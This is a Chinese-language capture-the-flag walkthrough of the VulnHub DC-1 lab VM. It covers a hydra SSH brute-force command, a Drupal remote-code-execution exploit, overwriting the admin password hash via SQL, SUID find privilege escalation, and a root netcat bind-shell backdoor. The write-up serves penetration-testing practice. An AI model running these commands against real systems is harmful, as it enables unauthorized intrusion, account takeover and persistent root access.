DC-1靶机
DC-1靶机
Download
1 | https://www.vulnhub.com/entry/dc-1,292/ |
将网路模式改为net模式
相关知识点
- nmap扫描网段与端口服务的探测
- msfconsole使用
- drupal cms漏洞利用
- netcat反弹shell
- mysql数据库渗透思路
- suid提权
基础信息收集
1 | 主机发现 |
发现22、80、111端口,尝试shh爆破(nmap也能爆破)
1 | hydra -L /usr/share/wordlists/metasploit/unix_users.txt -P /usr/share/wordlists/**rockyou**.txt -f -o hydra.txt -u |
发现ssh爆破失败,尝试80端口的web服务
网站就一登录页面,注册账户发现不能设置密码,提示拿到admin用户的权限,扫cms。
1 | wahtweb http://192.168.101.132 |
发现其cms为drupal,尝试drupal漏洞利用
1 | searchsploit drupal |
发现drupal cms存在远程代码执行漏洞,尝试利用,成功获取webshell
1 | whomai |
开交互shell
1 | python -c 'import pty;pty.spawn("/bin/bash")' |
发现有漏洞也可以直接用msf
使用2018年的漏洞吧,是个远程代码执行(代码审计现在真心看不懂,😔)
https://www.exploit-db.com/exploits/44482
https://paper.seebug.org/567/
1 | // file: \core\lib\Drupal\Core\Render\Renderer.php |
数据库攻击
当前目录下找到flag1,/home/flag4下发现flag4,flag1提示去看drupal默认配置文件,查看默认配置文件发现mysql敏感信息
1 | $databases = array ( |
这边看到了flag2
登录mysql数据库,查看数据库信息,查看一下node和user表,发现flag3,uid为1,说明要admin权限。发现admin账户pass经过hash加密,hash加密算法不可知。
这边有两个思路,一个是我们注册一个账号将二者hash互换,但是注册时无法写密码,第二个便是我们找到加密脚本,将我们的密码加密后写入数据库。发现加密脚本位置scripts/password-hash.sh
这里为什么要看node表呢???(user表就不说了吧)
因为drupal node机制理解
1 | php scripts/password-hash.sh admin |
更换管理员密码的hash。
1 | update users set pass='$S$DyyA5HnUonyq8xJJZeWKGIsIxaDpzGM6jbKqPiERZ/lLMnsWkUB.' where name='admin'; |
提权
登录admin账户后拿到flag3。
Special PERMS will help FIND the passwd - but you’ll need to -exec that command to work out how to get what’s in the shadow.
FIND,-exec提示很明显了,find提权。flag4也提示我们要提权到root。
1 | 不同系统适用于不同的命令 |
尝试查看find是否有suid权限
1 | find /tmp -exec whoami \; |
find 命令说明
-exec 参数后面跟的是command命令,它的终止是以;为结束标志的,所以这句命令后面的分号是不可缺少的,考虑到各个系统中分号会有不同的意义,所以前面加反斜杠。-exec参数后面跟的就是我们想进一步操作的命令,so,我们可以以root的权限命令执行了。
留一个root的netcat的后门
1 | find /tmp -exec netcat -lvp 4444 -e "/bin/sh" \; |
拿到最后一个flag。
Well done!!!!
Hopefully you’ve enjoyed this and learned some new skills.
You can let me know what you thought of this little journey\
by contacting me via Twitter - @DCAU7